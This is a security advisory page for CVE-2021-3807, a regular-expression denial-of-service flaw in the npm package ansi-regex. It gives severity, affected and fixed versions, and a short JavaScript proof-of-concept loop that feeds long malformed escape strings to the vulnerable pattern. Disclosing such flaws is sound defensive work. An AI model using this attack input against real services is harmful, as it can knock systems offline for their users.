Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS05M3E4LWdxNjktd3Ftd80V3g

Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Permalink: https://github.com/advisories/GHSA-93q8-gq69-wqmw
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05M3E4LWdxNjktd3Ftd80V3g
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: 7 months ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-93q8-gq69-wqmw, CVE-2021-3807
References: Repository: https://github.com/chalk/ansi-regex
Blast Radius: 45.7

Affected Packages

npm:ansi-regex
Dependent packages: 2,990
Dependent repositories: 1,239,008
Downloads: 644,513,698 last month
Affected Version Ranges: >= 3.0.0, < 3.0.1, >= 4.0.0, < 4.1.1, >= 5.0.0, < 5.0.1, >= 6.0.0, < 6.0.1
Fixed in: 3.0.1, 4.1.1, 5.0.1, 6.0.1
All affected versions: 3.0.0, 4.0.0, 4.1.0, 5.0.0, 6.0.0
All unaffected versions: 0.1.0, 0.2.0, 0.2.1, 1.0.0, 1.1.0, 1.1.1, 2.0.0, 2.1.1, 3.0.1, 4.1.1, 5.0.1, 6.0.1